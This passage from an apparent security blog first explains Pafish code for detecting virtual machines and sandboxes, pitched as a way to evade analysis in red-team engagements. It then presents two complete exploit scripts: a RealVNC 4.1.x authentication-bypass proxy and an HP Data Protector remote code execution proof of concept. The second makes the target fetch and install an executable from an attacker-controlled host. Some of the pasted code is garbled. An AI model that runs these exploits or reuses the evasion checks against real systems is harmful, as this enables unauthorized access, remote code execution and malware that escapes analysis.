Pafish also has a second function that plays with the size of the C drive, gensandbox_drive_size2(). It basically checks for the amount of free space on drive C. Again, this can be tricky, I’ve seen production servers (mostly databases) running out of space due to a lack of good sysadmin practices and bad planning. And yes… this happens a lot.

Another interesting function is gensandbox_uptime(). It uses GetTickCount() function to retrieve the number of milliseconds that have elapsed since the system was started (up to 49.7 days).

Once again, the assumption done here might be wrong if we think about laptops. Remember, the whole purpose of this analysis is to apply this code to our “red team” exercies, where desktop users are usually the target.

There are some more small functions inside gensandbox.c that I’d recommend you to have a look. These can also give some good insights to detect other sandboxes.

    • gensandbox_sleep_patched()
    • gensandbox_one_cpu()
    • gensandbox_one_cpu_GetSystemInfo()
    • gensandbox_less_than_onegb()
    • gensandbox_IsNativeVhdBoot()

hooks.c

The hooks.c source code only contains four small functions. Their aim is detect if any of the following functions have been hooked:

    • DeleteFileW
    • ShellExecuteExW
    • CreateProcessA

Here’s the whole code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int check_hook_m1(DWORD * dwAddress) {
  BYTE *b = (BYTE *)dwAddress;
  return (*b == 0x8b) && (*(b+1) == 0xff) ? FALSE : TRUE;
}

/* Causes FP in Win 8 */
int check_hook_DeleteFileW_m1() {
  return check_hook_m1((DWORD *)DeleteFileW);
}

int check_hook_ShellExecuteExW_m1() {
  return check_hook_m1((DWORD *)ShellExecuteExW);
}

int check_hook_CreateProcessA_m1() {
  return check_hook_m1((DWORD *)CreateProcessA);
}

Basically each one of the functions store the the address of the funtion (either DeleteFileW, ShellExecuteExW or CreateProcessA) into the dwAddress variable of the check_hook_m1() function.

Then it checks whether the first two bytes of the function are 0xff8b, which represent the assembly instruction for jump back instruction. Usually the functions create a new stack frame upon being called, but the jmp instruction at the beginning of a function clearly indicates the function has been hooked.

vbox.c/vmware.c/qemu.c

The code to detect VirtualBox is quite extensive and there are multiple function that look for Windows Registry keys. Here are those functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
/**
* SCSI registry key check
**/
int vbox_reg_key1() {
  return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier", "VBOX");
}

/**
* SystemBiosVersion registry key check
**/
int vbox_reg_key2() {
  return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\Description\\System", "SystemBiosVersion", "VBOX");
}

/**
* VirtualBox Guest Additions key check
**/
int vbox_reg_key3() {
  return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Oracle\\VirtualBox Guest Additions");
}

/**
* VideoBiosVersion key check
**/
int vbox_reg_key4() {
  return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\Description\\System", "VideoBiosVersion", "VIRTUALBOX");
}

/**
* ACPI Regkey detection
**/
int vbox_reg_key5() {
  return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__");
}

/**
* FADT ACPI Regkey detection
**/
int vbox_reg_key7() {
  return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__");
}

/**
* RSDT ACPI Regkey detection
**/
int vbox_reg_key8() {
  return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\RSDT\\VBOX__");
}

/**
* VirtualBox Services Regkey detection
**/
int vbox_reg_key9(int writelogs) {
  int res = FALSE, i;
  const int count = 5;
  char message[200];

  string strs[count];
  strs[0] = "SYSTEM\\ControlSet001\\Services\\VBoxGuest";
  strs[1] = "SYSTEM\\ControlSet001\\Services\\VBoxMouse";
  strs[2] = "SYSTEM\\ControlSet001\\Services\\VBoxService";
  strs[3] = "SYSTEM\\ControlSet001\\Services\\VBoxSF";
  strs[4] = "SYSTEM\\ControlSet001\\Services\\VBoxVideo";
  for (i=0; i < count; i++) {
      if (pafish_exists_regkey(HKEY_LOCAL_MACHINE, strs[i])) {
          snprintf(message, sizeof(message)-sizeof(message[0]), "VirtualBox traced using Reg key HKLM\\%s", strs[i]);
          if (writelogs) write_log(message);
          res = TRUE;
      }
  }
  return res;
}

/**
* HARDWARE\\DESCRIPTION\\System SystemBiosDate == 06/23/99
**/
int vbox_reg_key10() {
  return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", "SystemBiosDate", "06/23/99");
}

The names and the code is prety self explanatory. The code is mostly based on the functions pafish_exists_regkey_value_str() and pafish_exists_regkey() and it can be foud on utils.c. Basically, it uses RegOpenKeyEx. If the function finds the specified registry entry it will return ERROR_SUCCESS. Otherwise a value of nonzero will be returned. As stated on MSDN, the RegOpenKeyEx() function “opens the specified registry key. Note that key names are not case sensitive”.

In the VirtualBox code there’s also some other interesting tricks. Like the function vbox_sysfile1(). This function basically looks for the presence of VirtualBox drivers installed on the system. See the code below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int vbox_sysfile1(int writelogs) {
    const int count = 4;
    string strs1ount];
    int res = FALSE, i = 0;
    char message[200];

    strs[0] = "C:\\WINDOWS\\system32\\drivers\\VBoxMouse.sys";
    strs[1] = "C:\\WINDOWS\\system32\\drivers\\VBoxGuest.sys";
    strs[2] = "C:\\WINDOWS\\system32\\drivers\\VBoxSF.sys";
    strs[3] = "C:\\WINDOWS\\system32\\drivers\\VBoxVideo.sys";
    for (i=0; i < count; i++) {
        if (pafish_exists_file(strs[i])) {
            snprintf(message, sizeof(message)-sizeof(message[0]), "VirtualBox traced using driver file %s", strs[i]);
            if (writelogs) write_log(message);
            res = TRUE;
        }
    }
    return res;
}

On the same line of thinking you can find the function vbox_sysfile2(). Which basically looks for the presence of specific VirtualBox DLLs. Here is the actual code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int vbox_sysfile2(int writelogs) {
    const int count = 14;
    string strs1ount];
    int res = FALSE, i = 0;
    char message[200];

    strs[0] = "C:\\WINDOWS\\system32\\vboxdisp.dll";
    strs[1] = "C:\\WINDOWS\\system32\\vboxhook.dll";
    strs[2] = "C:\\WINDOWS\\system32\\vboxmrxnp.dll";
    strs[3] = "C:\\WINDOWS\\system32\\vboxogl.dll";
    strs[4] = "C:\\WINDOWS\\system32\\vboxoglarrayspu.dll";
    strs[5] = "C:\\WINDOWS\\system32\\vboxoglcrutil.dll";
    strs[6] = "C:\\WINDOWS\\system32\\vboxoglerrorspu.dll";
    strs[7] = "C:\\WINDOWS\\system32\\vboxoglfeedbackspu.dll";
    strs[8] = "C:\\WINDOWS\\system32\\vboxoglpackspu.dll";
    strs[9] = "C:\\WINDOWS\\system32\\vboxoglpassthroughspu.dll";
    strs[10] = "C:\\WINDOWS\\system32\\vboxservice.exe";
    strs[11] = "C:\\WINDOWS\\system32\\vboxtray.exe";
    strs[12] = "C:\\WINDOWS\\system32\\VBoxControl.exe";
    strs[13] = "C:\\program files\\oracle\\virtualbox guest additions\\";
    for (i = 0; i < count; i++) {
        if (pafish_exists_file(strs[i])) {
            snprintf(message, sizeof(message)-sizeof(message[0]), "VirtualBox traced using system file %s", strs[i]);
            if (writelogs) write_log(message);
            res = TRUE;
        }
    }
    return res;
}

One of the tricks mostly common used is… yes, you guessed it. Check the MAC address identifier. Here’s the code that check’s for the OUI vendor:

1
2
3
4
int vbox_mac() {
    /* VirtualBox mac starts with 08:00:27 */
    return pafish_check_mac_vendor("\x08\x00\x27");
}

The code for pafish_check_mac_vendor() can be found on the utils.c source file. Here’s the actual code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int pafish_check_mac_vendor(char * mac_vendor) {
    unsigned long alist_size = 0, ret;

    ret = GetAdaptersAddresses(AF_UNSPEC,0,0,0,&alist_size);
    if(ret==ERROR_BUFFER_OVERFLOW) {
        IP_ADAPTER_ADDRESSES* palist = (IP_ADAPTER_ADDRESSES*)LocalAlloc(LMEM_ZEROINIT,alist_size);
        if(palist) {
            GetAdaptersAddresses(AF_UNSPEC,0,0,palist,&alist_size);
            char mac[6]={0};
            while (palist){
                if (palist->PhysicalAddressLength==0x6){
                    memcpy(mac,palist->PhysicalAddress,0x6);
                    if (!memcmp(mac_vendor, mac, 3)) { /* First 3 bytes are the same */
                        LocalFree(palist);
                        return TRUE;
                    }
                }
                palist = palist->Next;
            }
            LocalFree(palist);
        }
    }
    return FALSE;
}

There are a few more tricks on the vbox.c file that shouldn’t be ignored, but I’ll ignore them for now.

As you can imagine most of the code used to fingerprint VirtualBox is used in almost identical fashion to fingerprint VMware and Qemu.Basically, the code looks for specific Windows Registry keys, specific file paths, drivers and MAC vendor.

bochs.c

One neat idea we spotted in terms of how Pafish fingerprints Bochs was to play with CPU specific featurs that are present in Bochs but not real CPU.

For example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int bochs_cpu_amd1() {
    char cpu_brand[49];
    cpu_write_brand(cpu_brand);
    /* It checks the lowercase P in 'processor', an actual AMD returns Processor */
    return !memcmp(cpu_brand, "AMD Athlon(tm) processor", 24) ? TRUE : FALSE;
}

int bochs_cpu_amd2() {
    int eax;
    __asm__ volatile(".intel_syntax noprefix;"
            "xor eax, eax;"
            "cpuid;"
            "cmp ecx, 0x444d4163;" /* AMD CPU? */
            "jne b2not_detected;"
            "mov eax, 0x8fffffff;" /* query easter egg */
            "cpuid;"
            "jecxz b2detected;" /* ECX value not filled */
            "b2not_detected: xor eax, eax; jmp b2exit;"
            "b2detected: mov eax, 0x1;"
            "b2exit: nop;"
            ".att_syntax;"
            : "=a"(eax));
    return eax ? TRUE : FALSE;
}

int bochs_cpu_intel1() {
    char cpu_brand[49];
    cpu_write_brand(cpu_brand);
    /* This processor name is not known to be valid in an actual CPU */
    return !memcmp(cpu_brand, "              Intel(R) Pentium(R) 4 CPU        ", 47) ? TRUE : FALSE;
}

The first and third functions bochs_cpu_amd1() and bochs_cpu_intel1() will check for typos in the processor CPU string, whilst the second, bochs_cpu_amd2() triggers an assembly level easter egg that is present in the Bochs x86 CPU emulation.

cuckoo.c

Cuckoo is an open source project and the hooks it implements are known. The code you can find on cuckoo.c is quite small and basically plays with Cuckoo TLS_HOOK_INFO. As a side note don’t forget that most Cuckoo set-ups use VirtualBox.

sandboxie.c

The trick to detect Sandboxie is quite simple.

1
2
3
4
5
6
7
8
int sboxie_detect_sbiedll() {
  if (GetModuleHandle("sbiedll.dll") != NULL) {
      return TRUE;
  }
  else {
      return FALSE;
  }
}

As you can see the function aboves tries to load the Sandboxie specific DLL called sbiedll.dll. If it succeeds Sandboxie is installed in the systems. Otherwise it is not. Pretty small test but quite effective.

wine.c

The code to detect the Wine environment is also quite small. The first function is wine_detect_get_unix_file_name().

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int wine_detect_get_unix_file_name() {
  HMODULE k32;
  k32 = GetModuleHandle("kernel32.dll");
  if (k32 != NULL) {
      if (GetProcAddress(k32, "wine_get_unix_file_name") != NULL) {
          return TRUE;
      }
      else {
          return FALSE;
      }
  }
  else {
      return FALSE;
  }
}

It starts by getting an handle to the kernel32.dll and then calling the GetProcAddress to retrieve the address of the function/variable wine_get_unix_file_name exported and available in the kernel32.dll. If the function succeeds it will return the address of the exported function, otherwise it will return NULL. Meaning that if doesn’t return NULL Wine has been fingerprinted and the wine_detect_get_unix_file_name returns TRUE.

The other function that Pafish implements is shown bellow.

1
2
3
int wine_reg_key1() {
  return pafish_exists_regkey(HKEY_CURRENT_USER, "SOFTWARE\\Wine");
}

Nothing new here, wine_reg_key1 simply looks for the presence of a Windows Registry key.

Conclusion

This short introduction to Pafish code was meant to evaluate how the code can be applied to our Red Team Exercises. Since the code/checks are not too advanced and in some cases can be completely fooled, the code should be tweaked if we want to use it in our engagements. It also doesn’t make sense to include all the checks blindly, which means a good information gathering phase must be assured before any “red team” exercise.

Anyway these different methods of checking whether the program is running under a debugger, Virtual Machine or a sandbox might be quite useful if we want to develop code for a specific environment. Looking at Pafish code certainly improves our knowledge about how to bypass some sandboxes.

Based on the code I’ve read, the most common ways to identify that we are running in a virtualized environment (running inside a debugger is not that useful to us) are:

    • Registry Checks
    • Memory Checks
    • Communication Checks (with the host)
    • Processes and Files Checks
    • Hardware

RealVNC 4.1.0 and 4.1.1 - Authentication Bypass Exploit

This is quite old but I needed a working PoC to run in an environment where Metasploit couldn’t be used. Basically I ported hdmoore/msf2 perl version to python. It was quite fun, since this is basically a MiTM…

Exploit Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# Exploit Title: RealVNC 4.1.0 and 4.1.1 Authentication Bypass Exploit
# Date: 2012-05-13
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 4.1.0 and 4.1.1
# Tested on: Windows XP
# CVE: CVE-2006-2369 
# Requires vncviewer installed
# Basic port of hdmoore/msf2 perl version to python for fun and profit (ease of use)
import select
import thread
import os
import socket
import sys, re

BIND_ADDR = '127.0.0.1'
BIND_PORT = 4444

def pwn4ge(host, port):
    socket.setdefaulttimeout(5)
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        server.connect((host, port))
    except socket.error, msg:
        print '[*] Could not connect to the target VNC service. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1]
        sys.exit();
    else:
        hello = server.recv(12)
        print "[*] Hello From Server: " + hello
        if hello != "RFB 003.008\n":
            print "[*] The remote VNC service is not vulnerable"
            sys.exit()
        else:
            print "[*] The remote VNC service is vulnerable"
            listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                listener.bind((BIND_ADDR, BIND_PORT))
            except socket.error , msg:
                print '[*] Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
                sys.exit()
            print "[*] Listener Socket Bind Complete"
            listener.listen(10)
            print "[*] Launching local vncviewer"
            thread.start_new_thread(os.system,('vncviewer ' + BIND_ADDR + '::' + str(BIND_PORT),))
            print "[*] Listener waiting for VNC connections on localhost"
            client, caddr = listener.accept()
            listener.close()
            client.send(hello)
            chello = client.recv(12)
            server.send(chello)
            methods = server.recv(2)
            print "[*] Auth Methods Recieved. Sending Null Authentication Option to Client"
            client.send("\x01\x01")
            client.recv(1)
            server.send("\x01")
            server.recv(4)
            client.send("\x00\x00\x00\x00")
            print "[*] Proxying data between the connections..."
            running = True
            while running:
                selected = select.select([client, server], [], [])[0]
                if client in selected:
                    buf = client.recv(8192)
                    if len(buf) == 0:
                        running = False
                    server.send(buf)
                if server in selected and running:
                    buf = server.recv(8192)
                    if len(buf) == 0:
                        running = False
                    client.send(buf)
                pass
            client.close()
        server.close()
    sys.exit()

def printUsage():
    print "[*] Read the source, Luke!"

def main():
    try:
        SERV_ADDR = sys.argv[1]
        SERV_PORT = sys.argv[2]
    except:
        SERV_ADDR = raw_input("[*] Please input an IP address to pwn: ")
        SERV_PORT = 5900
    try:
        socket.inet_aton(SERV_ADDR)
    except socket.error:
        printUsage()
    else:
        pwn4ge(SERV_ADDR, int(SERV_PORT))

if __name__ == "__main__":
    main()

You can find it on exploit-db as well.

HP Data Protector EXEC_SETUP Remote Code Execution (ZDI-11-056)

Gotta love HP. Full code execution, w00t. Software massively used in Portugal… oh dear…

Have Fun: HP Data Protector Client EXEC_SETUP Remote Code Execution PoC (ZDI-11-056).

Exploit Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
# Exploit Title: HP Data Protector Cliet EXEC_SETUP Remote Code Execution Vulnerability PoC (ZDI-11-056)
# Date: 2011-05-29
# Author: @fdiskyou
# e-mail: rui at deniable.org
# Version: 6.11
# Tested on: Windows 2003 Server SP2 en
# CVE: CVE-2011-0922 
# Notes: ZDI-11-056
# Reference: http://www.zerodayinitiative.com/advisories/ZDI-11-056/ 
# Reference: http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02781143
#
# The following PoC instructs an HP Data Protector Client to download and install an .exe file. It tries to get the file 
# from a share (\\pwn2003se.home.it) and if it fails it tries to access the same file via HTTP. To get the PoC working with 
# this payload share a malicious file via HTTP under http://pwn2003se.home.it/Omniback/i386/installservice.exe.exe and you are done. 
# Tweak payload to better suit your needs.
#
# Since you're crafting packets with Scapy don't forget to use iptables to block the outbound resets or your host will 
# reset your connection after receiving and unsolicited SYN/ACK that is not associated with any open session/socket. Have Fun.
# 
# Greetz to all the Exploit-DB Dev Team.

from scapy.all import *

if len(sys.argv) != 2:
    print "Usage: ./ZDI-11-056.py <Target IP>"
    sys.exit(1)

target = sys.argv[1]

payload = ("\x00\x00\x01\xbe"
"\xff\xfe\x32\x00\x00\x00\x20\x00\x70\x00\x77\x00\x6e\x00\x32\x00"
"\x30\x00\x30\x00\x33\x00\x73\x00\x65\x00\x2e\x00\x68\x00\x6f\x00"
"\x6d\x00\x65\x00\x2e\x00\x69\x00\x74\x00\x00\x00\x20\x00\x30\x00"
"\x00\x00\x20\x00\x53\x00\x59\x00\x53\x00\x54\x00\x45\x00\x4d\x00"
"\x00\x00\x20\x00\x4e\x00\x54\x00\x20\x00\x41\x00\x55\x00\x54\x00"
"\x48\x00\x4f\x00\x52\x00\x49\x00\x54\x00\x59\x00\x00\x00\x20\x00"
"\x43\x00\x00\x00\x20\x00\x32\x00\x36\x00\x00\x00\x20\x00\x5c\x00"
"\x5c\x00\x70\x00\x77\x00\x6e\x00\x32\x00\x30\x00\x30\x00\x33\x00"
"\x53\x00\x45\x00\x2e\x00\x68\x00\x6f\x00\x6d\x00\x65\x00\x2e\x00"
"\x69\x00\x74\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00"
"\x61\x00\x63\x00\x6b\x00\x5c\x00\x69\x00\x33\x00\x38\x00\x36\x00"
"\x5c\x00\x69\x00\x6e\x00\x73\x00\x74\x00\x61\x00\x6c\x00\x6c\x00"
"\x73\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x2e\x00"
"\x65\x00\x78\x00\x65\x00\x20\x00\x2d\x00\x73\x00\x6f\x00\x75\x00"
"\x72\x00\x63\x00\x65\x00\x20\x00\x5c\x00\x5c\x00\x70\x00\x77\x00"
"\x6e\x00\x32\x00\x30\x00\x30\x00\x33\x00\x53\x00\x45\x00\x2e\x00"
"\x68\x00\x6f\x00\x6d\x00\x65\x00\x2e\x00\x69\x00\x74\x00\x5c\x00"
"\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63\x00\x6b\x00"
"\x20\x00\x00\x00\x20\x00\x5c\x00\x5c\x00\x70\x00\x77\x00\x4e\x00"
"\x32\x00\x30\x00\x30\x00\x33\x00\x53\x00\x45\x00\x5c\x00\x4f\x00"
"\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63\x00\x6b\x00\x5c\x00"
"\x69\x00\x33\x00\x38\x00\x36\x00\x5c\x00\x69\x00\x6e\x00\x73\x00"
"\x74\x00\x61\x00\x6c\x00\x6c\x00\x73\x00\x65\x00\x72\x00\x76\x00"
"\x69\x00\x63\x00\x65\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x20\x00"
"\x2d\x00\x73\x00\x6f\x00\x75\x00\x72\x00\x63\x00\x65\x00\x20\x00"
"\x5c\x00\x5c\x00\x70\x00\x77\x00\x4e\x00\x32\x00\x30\x00\x30\x00"
"\x33\x00\x53\x00\x45\x00\x5c\x00\x4f\x00\x6d\x00\x6e\x00\x69\x00"
"\x62\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x00\x00\x00\x00\x00\x00"
"\x02\x54"
"\xff\xfe\x32\x00\x36\x00\x00\x00\x20\x00\x5b\x00\x30\x00\x5d\x00"
"\x41\x00\x44\x00\x44\x00\x2f\x00\x55\x00\x50\x00\x47\x00\x52\x00"
"\x41\x00\x44\x00\x45\x00\x0a\x00\x5c\x00\x5c\x00\x70\x00\x77\x00"
"\x6e\x00\x32\x00\x30\x00\x30\x00\x33\x00\x53\x00\x45\x00\x2e\x00"
"\x68\x00\x6f\x00\x6d\x00\x65\x00\x2e\x00\x69\x00\x74\x00\x5c\x00"
"\x4f\x00\x6d\x00\x6e\x00\x69\x00\x62\x00\x61\x00\x63\x00\x6b\x00"
"\x5c\x00\x69\x00\x33\x00\x38\x00\x36\x00\x0a\x00\x49\x00\x4e\x00"
"\x53\x00\x54\x00\x41\x00\x4c\x00\x4c\x00\x41\x00\x54\x00\x49\x00"
"\x4f\x00\x4e\x00\x54\x00\x59\x00\x50\x00\x45\x00\x3d\x00\x22\x00"
"\x43\x00\x6c\x00\x69\x00\x65\x00\x6e\x00\x74\x00\x22\x00\x20\x00"
"\x43\x00\x45\x00\x4c\x00\x4c\x00\x4e\x00\x41\x00\x4d\x00\x45\x00"
"\x3d\x00\x22\x00\x70\x00\x77\x00\x6e\x00\x32\x00\x30\x00\x30\x00"
"\x33\x00\x73\x00\x65\x00\x2e\x00\x68\x00\x6f\x00\x6d\x00\x65\x00"
"\x2e\x00\x69\x00\x74\x00\x22\x00\x20\x00\x43\x00\x45\x00\x4c\x00"
"\x4c\x00\x43\x00\x4c\x00\x49\x00\x45\x00\x4e\x00\x54\x00\x4e\x00"
"\x41\x00\x4d\x00\x45\x00\x3d\x00\x22\x00\x73\x00\x65\x00\x63\x00"
"\x75\x00\x72\x00\x6e\x00\x65\x00\x74\x00\x2d\x00\x62\x00\x32\x00"
"\x75\x00\x64\x00\x66\x00\x76\x00\x2e\x00\x68\x00\x6f\x00\x6d\x00"
"\x65\x00\x2e\x00\x69\x00\x74\x00\x22\x00\x20\x00\x41\x00\x4c\x00"
"\x4c\x00\x55\x00\x53\x00\x45\x00\x52\x00\x53\x00\x3d\x00\x35\x00"
"\x20\x00\x49\x00\x4e\x00\x53\x00\x54\x00\x41\x00\x4c\x00\x4c\x00"
"\x44\x00\x49\x00\x52\x00\x3d\x00\x22\x00\x24\x00\x28\x00\x4f\x00"
"\x4d\x00\x4e\x00\x49\x00\x42\x00\x41\x00\x43\x00\x4b\x00\x29\x00"
"\x5c\x00\x22\x00\x20\x00\x50\x00\x52\x00\x4f\x00\x47\x00\x52\x00"
"\x41\x00\x4d\x00\x44\x00\x41\x00\x54\x00\x41\x00\x3d\x00\x22\x00"
"\x24\x00\x28\x00\x44\x00\x41\x00\x54\x00\x41\x00\x4f\x00\x4d\x00"
"\x4e\x00\x49\x00\x42\x00\x41\x00\x43\x00\x4b\x00\x29\x00\x5c\x00"
"\x22\x00\x20\x00\x49\x00\x4e\x00\x45\x00\x54\x00\x50\x00\x4f\x00"
"\x52\x00\x54\x00\x3d\x00\x35\x00\x35\x00\x35\x00\x35\x00\x20\x00"
"\x41\x00\x44\x00\x44\x00\x4c\x00\x4f\x00\x43\x00\x41\x00\x4c\x00"
"\x3d\x00\x63\x00\x6f\x00\x72\x00\x65\x00\x2c\x00\x6a\x00\x61\x00"
"\x76\x00\x61\x00\x67\x00\x75\x00\x69\x00\x20\x00\x4f\x00\x50\x00"
"\x54\x00\x5f\x00\x44\x00\x4e\x00\x53\x00\x43\x00\x48\x00\x45\x00"
"\x43\x00\x4b\x00\x3d\x00\x31\x00\x20\x00\x4f\x00\x50\x00\x54\x00"
"\x5f\x00\x53\x00\x4b\x00\x49\x00\x50\x00\x49\x00\x4d\x00\x50\x00"
"\x4f\x00\x52\x00\x54\x00\x3d\x00\x31\x00\x20\x00\x4f\x00\x50\x00"
"\x54\x00\x5f\x00\x4d\x00\x53\x00\x47\x00\x3d\x00\x31\x00\x0a\x00"
"\x00\x00\x00\x00")

ip=IP(dst=target)
SYN=TCP(sport=31337, dport=5555, flags="S")
packet=ip/SYN
SYNACK=sr1(packet)

my_ack = SYNACK.seq + 1
print SYNACK.seq
print my_ack
ACK=TCP(sport=31337, dport=5555, flags="A", seq=1, ack=my_ack)
send(ip/ACK)

PUSH=TCP(sport=31337, dport=5555, flags="PA", seq=1, ack=my_ack)
send(ip/PUSH/payload)